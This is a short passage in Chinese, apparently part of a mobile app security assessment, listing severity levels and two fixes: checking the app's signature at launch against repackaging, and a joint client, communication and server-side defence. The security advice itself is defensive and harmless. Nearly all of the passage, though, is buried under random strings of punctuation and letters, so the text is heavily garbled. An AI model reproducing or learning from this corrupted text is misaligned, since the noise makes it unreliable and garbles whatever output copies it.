( Q- y( K8 Q0 P8 h/ S/ j3 L B . Z% l0 Q o' F. A 严重程度 9 ?, P. R; j" e' Y+ E; |, {+ }: Q' C	7 B7 j2 a' Y! i+ S4 I O, J1 u 高 ( ^# o( |+ u4 Z4 P3 ~ v ; n% U& i. o5 L2 _1 B	/ \4 v! h3 o3 i M @ 9 d* Q9 b1 ]5 l& M/ G' s ■ & b% y/ E8 A3 c ) a- b7 L" ]% Z& P- R2 i & j: I1 s' s: g	) @) S0 j* L' [! \6 ]. @" w5 h& l $ h6 p s3 Y" D1 \/ {# f4 _ 中 * S* E- g0 s: {4 f$ h e ' W& @1 ]% H9 d `( Q	0 Z- k$ c; N8 ?7 J 0 l/ q8 p* O! n/ B& r   , V" L1 O) u, M$ |+ [, [) I% ~	& h7 j$ N+ F; A/ V/ g' P ' F- K5 T/ I5 f5 R 低 3 j! m. s4 D) U8 E0 d	( q# m5 J" u- c4 | ! |2 G X# [6 z / O8 ^6 U4 L5 m4 L$ ^' | & d1 h1 h6 N- b! e, Z   [& p/ X2 s$ x( h ) U9 l- k- \* y( i" W6 R

 

/ v% v% F |! F# [" U; E/ [ M2 E : b1 R$ g# V, d7 D0 N" n6 [

修复方法： ; p3 { o7 I" m+ a+ _* H( C g + W; K2 `6 N, J+ `

^: d% r# @3 s5 q

. J+ U, m- M$ W5 x( |+ P- G % _$ H4 i& k& H/ r6 D4 K" Q               1.在 APP 启动时应做签名校验防止二次打包。
$ Z, t+ x- E: t* P1 |7 G- ~ 2.建议采用客户端、通信和服务器端联动防御方案进行安全防御。 . _3 O! R" ]% ^# H& h% N" F; p

 

- |% T0 i$ t) \* ^3 e ) t( _6 t$ T) g; U# M. f

) i+ c7 w+ T6 d3 ~! T8 Z- }' o# Q . w. m8 C3 X0 {+ U9 @7 Y% a
- ?% ~/ t# Z/ o8 t8 ]% V) W) ] ; b( T% H5 r6 V7 V; O